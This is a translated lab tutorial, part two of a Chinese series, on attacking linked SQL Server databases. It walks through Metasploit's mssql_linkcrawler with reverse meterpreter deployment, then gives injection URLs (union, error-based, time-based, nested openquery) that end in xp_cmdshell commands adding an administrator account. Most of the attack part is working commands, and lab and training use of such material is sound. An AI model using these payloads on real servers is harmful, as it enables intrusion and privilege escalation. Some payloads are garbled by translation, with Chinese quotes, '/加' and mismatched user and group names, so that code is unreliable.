黑掉SQL Server数据库链接:实验的设置和攻击指南(二)

第4章直接数据库连接的自动攻击

对于那些不喜欢手动抓取SQL Server链接的用户,本章将概述如何使用mssql_linkcrawler Metasploit模块通过直接数据库连接自动化对SQL Server数据库链接的攻击。 对于本实验,您将需要可在http://www.sqlsecurity.com/上找到的SQLPing v3和可在http://www.metasploit.com/上找到的Metasploit Framework。

4.1获取SQL Server实例的TCP端口

为了使用mssql_linkcrawler

Metasploit模块连接到特定的SQL Server实例,您需要确定实例的侦听TCP端口。

确保定位到“SERVER1”实例,并注意每个安装的侦听端口将不同。 在下面的示例中,SQLPing用于扫描10.2.9.199配置的实验室系统。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第1张图片

4.2在Metasploit中配置mssql_linkcrawler模块

Metasploit是一套可用于开发利用和攻击系统的工具。 在这种情况下,您将使用mssql_linkcralwer模块来攻击远程SQL Server上的数据库链接。 要开始,请打开Metasploit控制台,然后选择模块,如下所示。

use exploit/windows/mssql/mssql_linkcrawler

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第2张图片

接下来,使用实验室中连接到远程SQL Server所需的信息配置模块的设置,如下所示。 再次确保定位到“SERVER1”实例。

set rhost 10.2.9.199

set rport 49160

set username s1user

set password s1password

set disablepayloadhandler true

set verbose true

现在您已经配置了模块,“显示选项”显示您的设置,并确保一切都输入正确。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第3张图片

4.3以审计模式运行mssql_linkedcrawler模块

如果一切看起来都很好,当你输入“显示选项”,然后输入“exploit”来运行模块。 默认情况下,它将以“只读”模式运行,并仅列出可用的链接和权限。

下图显示了模块成功连接到SERVER1并显示基本配置信息。 基于输出,SERVER1上有2个链接。 此时我们没有sysadmin权限。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第4张图片

该模块然后尝试连接到SERVER1上的每个数据库链接。 在下面的示例中,到SERVER2的链接似乎正在运行,并且到BADSERVER的链接已经死机。 此时,我们仍然没有sysadmin权限。 但是,输出也显示SERVER2上有两个链接。

在输出中跳过,您应该会看到,通过遵循从SERVER3返回到SERVER1的链接,爬网程序升级到sysadmin。

最后,将显示抓取结果的摘要,并将显示的所有信息记录到CSV文件中。 下面是输出的一个例子。

4.4在Metasploit中设置一个有效负载处理程序

如果数据库链接配置了sysadmin权限,那么它们也可以用于在OS级别上执行SQL Server上的任意命令。 该模块可以配置为使用该功能为攻击者提供远程命令控制台。

为了使用Metasploit开始,通过设置“multi / handler”模块来获得一个反向控制台,如下所示。 这将监听正在爬网的数据库服务器的传入连接。 将“ExistOnSession”设置为false,以便一次可以处理多个连接。

use multi/handler

set ExitOnSession FALSE

exploit -j -z

4.5在漏洞利用模式下运行mssql_linkedcrawler模块

在现实世界中,您可能会最终爬行数百个SQL

Server。 “DisablePayloadHandler”可用于禁用模块的默认处理程序,并允许您通过上一步中设置的处理程序来管理连接。

您可以将有效负载设置为Metasploit中的任何Windows有效负载,但在此示例中,使用默认值(reverse meterpreter)。

最后,将“DEPLOY”设置为true,以便将有效负载部署到具有sysadmin权限的服务器上。

use exploit/windows/mssql/mssql_linkcrawler

set DisablePayloadHandler TRUE

set DEPLOY true

如果您键入“显示选项”,您的配置显示如下图所示。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第5张图片

如果一切顺利,请继续输入“exploit”来运行模块。 最初它将像只读扫描一样运行,但是当它爬行配置有sysadmin权限的数据库链接时,它应该自动部署有效载荷。 有效载荷应该执行并启动一个立即发送到后台的更换外壳。 它应该类似于下面的截图。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第6张图片

一旦链接抓取工具完成类型“会话”以查看现有会话。 然后键入“sessions -i ”,如下所示与每个命令控制台交互。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第7张图片

第5章通过SQL注入进行手动攻击

本章将介绍基本的SQL注入测试,以熟悉常见技术。 它还将介绍如何通过SQL注入执行链接爬网。 这是一个很好的例子,在外部渗透测试期间,SQL Server数据库链接可以通过SQL注入进行爬网。

5.1基本SQL注入测试

本节提供了如何手动验证应用程序中是否可能进行基本SQL注入的概述。

1.通过访问以下URL上的Web服务器来验证应用程序的工作。

http://127.0.0.1/search.asp

http://127.0.0.1/employee.asp?id=1

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第8张图片

6.通过在后端数据库上尝试数学运算,验证基本SQL注入是否工作。

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第9张图片

7.通过将语句设置为true来验证基本SQL注入是否可以查看所有记录。

http://127.0.0.1/employee.asp?id=193or 1=1--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第10张图片

8.确定页面正在使用的查询中的列数(16)。 这种知识将在以后用于联合选择注入。

http://127.0.0.1/employee.asp?id=193order by 15--

http://127.0.0.1/employee.asp?id=193order by 16--

http://127.0.0.1/employee.asp?id=193order by 17--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第11张图片

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第12张图片

9.验证基于联合的SQL注入是否使用以下URL从服务器中选择数据库列表。 请注意,我们必须使用16列或者注入会出错。

http://127.0.0.1/employee.asp?id=193 union select null,null,'Database:'%2bname,null,null,null,null,null,null,null,null,null,null,n ull,null,null from master..sysdatabases--

10.验证基于错误的SQL注入是否使用以下URL在错误消息中显示数据库版本。

http://127.0.0.1/employee.asp?id=@@version

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第13张图片

11.验证基于时间的盲SQL注入是否使用以下URL强制服务器等待10秒钟才能进行响应。 在第二个示例中,如果服务器等待10秒钟响应您是系统管理员。 你不应该这样,页面应该立即返回。

http://127.0.0.1/employee.asp?id=193;waitfor delay '00:00:10';-- http://127.0.0.1/employee.asp?id=287;IF (select IS_SRVROLEMEMBER('sysadmin')) = 1 waitfor delay '00:00:10';--

5.2基本数据库链接抓取测试

本节提供了如何在实验室环境中手动验证数据库链接爬网是可能的概述。 下面的说明将会像攻击者那样一步步走一步。

1.从server1中选择服务器名称和数据库用户。

http://127.0.0.1/employee.asp?id=193 union select null,null,'Server: '%2b@@servername%2b' DBuser: '%2b

system_user,null,null,null,null,null,null,null,null,null,null,null,null,null from

master..sysservers-

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第14张图片

2.检查数据库入口点的sysadmin权限,应该是server1。 注入应返回0,表示Web应用程序使用的数据库用户没有sysadmin权限。

http://127.0.0.1/employee.asp?id=193 union select null,null,'Sysadmin privileges: '%2bcast((select is_srvrolemember('sysadmin')) as varchar),null,null,null,null,null,null,null,null,null,null,null,null,null from master..sysservers—

3.在server1上选择可用的数据库链接列表。 您应该在列表中看到server2。

http://127.0.0.1/employee.asp?id=193 union select null,null,'Link: '%2bsrvname,null,null,null,null,null,null,null,null,null,null,null,null,null from master..sysservers--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第15张图片

4.在server2上选择数据库链接服务器名称,用户和权限。 注入应返回“DBLinkPriv”旁边的0,表示用于设置从server1到server2的数据库链接的帐户没有sysadmin权限。

注意:将“RELATIVESERVERNAMEHERE”替换为安装了SQL Server实例的服务器。 另外,“%2b”是URL编码的“+”。 这样做是为了使字符串可以正确地与查询输出连接。

http://127.0.0.1/employee.asp?id=193 union select null,null,'

DBLink: '%2b@@servername%2b'--%3E'%2blinksrv1%2b'
DBLinkUser: '%2bdblink1user%2b'
DBLinkPriv: '%2bdblink1priv%2b'
',null,null,null,null,null,null,null,null,null,null,null,nu ll,null from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as linksrv1, system_user as dblink1user,cast((select is_srvrolemember(''sysadmin''))

as varchar) as dblink1priv')--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第16张图片

5.在server2上选择可用的数据库链接列表。 您应该在列表中看到server3。

注意:将“RELATIVESERVERNAMEHERE”替换为安装了SQL Server实例的服务器

http://127.0.0.1/employee.asp?id=193 union select null,null,'

DBLink: '%2b@@servername%2b'-->'%2blink1%2b'-- >'%2blink2%2b'
',null,null,null,null,null,null,null,null,null,null,null,null,nu ll from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as link1,srvname as link2 from master..sysservers')--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第17张图片

6.在server3上选择数据库链接服务器名称,用户和权限。 注入应返回“DBLinkPriv”旁边的0,表示用于设置从server2到server3的数据库链接的帐户没有sysadmin权限。

注意:将“RELATIVESERVERNAMEHERE”替换为安装了SQL Server实例的服务器。

http://127.0.0.1/employee.asp?id=193 union select null,null,'

DBLink: '%2b@@servername%2b'-->'%2blink1%2b'-->'%2blink2%2b'
'%2b'DbLinkUser: '%2bdblink2user%2b'
DbLinkPriv: '%2bdblink2priv%2b'
',null,null,null,null,null,null,null,null,null,null,null,nu ll,null from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as link1,link2,dblink2user,dblink2priv from openquery("RELATIVESERVERNAMEHERE\server3",''select @@servername as link2,system_user as dblink2user,cast((select is_srvrolemember(''''sysadmin'''')) as varchar) as dblink2priv'')')—

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第18张图片

7.选择server3上的数据库链接列表。 您应该看到一个返回到server1的链接。

注意:将“RELATIVESERVERNAMEHERE”替换为安装了SQL Server实例的服务器。

http://127.0.0.1/employee.asp?id=193 union select null,null,'

DBLink: '%2b@@servername%2b'-->'%2blink1%2b'-->'%2blink2%2b'
'%2b'DbLink: '%2bnewlink%2b'
',null,null,null,null,null,null,null,null,null,null,null,null,n ull from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as link1,link2,newlink from openquery("RELATIVESERVERNAMEHERE\server3",''select @@servername as link2,srvname as newlink from master..sysservers'')')—

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第19张图片

8.在server1上选择数据库链接服务器名称,用户和权限。 注入应返回“DBLinkPriv”旁边的1,表示用于设置从server3到server1的数据库链接的帐户确实具有sysadmin权限。 最后!!

注意:将“RELATIVESERVERNAMEHERE”替换为安装了SQL Server实例的服务器。

注意:您可能必须在较新版本的IE中禁用XSS过滤,以获取此特定示例。 但是,所有Firefox版本似乎都工作正常。

http://127.0.0.1/employee.asp?id=193 union select null,null,'

DBLink: '%2b@@servername%2b'-->'%2blink1%2b'-->'%2blink2%2b'-- >'%2blink3%2b'
'%2b'DbLinkUser: '%2bdblink3user%2b'
DbLinkPriv:

'%2bdblink3priv%2b'
',null,null,null,null,null,null,null,null,null,null,null,nu

ll,null from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as

link1,link2,link3,dblink3user,dblink3priv from

openquery("RELATIVESERVERNAMEHERE\server3",''select @@servername as

link2,link3,dblink3user,dblink3priv from

openquery("RELATIVESERVERNAMEHERE\server1",''''select @@servername as

link3,system_user as dblink3user,cast((select

is_srvrolemember(''''''''sysadmin'''''''')) as varchar) as dblink3priv'''')'')')--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第20张图片

9.通过链接串使用升级的权限,将新的操作系统用户添加到server1。

注意:将“RELATIVESERVERNAMEHERE”替换为安装SQL Server的服务器实例。

请求1:添加用户“test123”

http://127.0.0.1/employee.asp?id=193 union select null,null,'
 
执行盲命令

执行......“,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL

from openquery(“RELATIVESERVERNAMEHERE \ server2”,'select 1 from

openquery(“RELATIVESERVERNAMEHERE \ server3”,“从中选择1”

openquery(“RELATIVESERVERNAMEHERE \ server1”,“'''select 1; exec master..xp_cmdshell

''''''''net user test123 Test123Pass! /加'''''''''''')'')') -

请求2:将用户“test123”添加到“管理员”组。

http://127.0.0.1/employee.asp?id=193 union select null,null,'

Executing blind command execution...',null,null,null,null,null,null,null,null,null,null,null,null,null from openquery("RELATIVESERVERNAMEHERE\server2",'select 1 from openquery("RELATIVESERVERNAMEHERE\server3",''select 1 from openquery("RELATIVESERVERNAMEHERE\server1",''''select 1;exec master..xp_cmdshell ''''''''net group "adminstrators" /add testing123'''''''''''')'')')--

黑掉SQL Server数据库链接:实验的设置和攻击指南(二)_第21张图片

10.使用新的本地管理员帐户登录到server1(本地或通过RDP)。

Antti Rantasaari和我也写了一个Metasploit模块,通过SQL注入来爬取数据库链接,但是在这一点上它尚未被框架接受。 但是,我下面提供了一个链接到源代码和一个视频教程,谁有兴趣可以看看。

模块和视频

•https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_linkcrawler_sqli.rb

•http://www.youtube.com/watch?v=eCSxPC4FenQ

第六章总结

恭喜!

如果一切顺利,您将拥有一个功能齐全的数据库链接实验室,可用于训练,研究和应用程序测试。

玩得开心!

原文地址:http://t.cn/Raeluoz

本文由看雪翻译小组,daemond编译

你可能感兴趣的:(黑掉SQL Server数据库链接:实验的设置和攻击指南(二))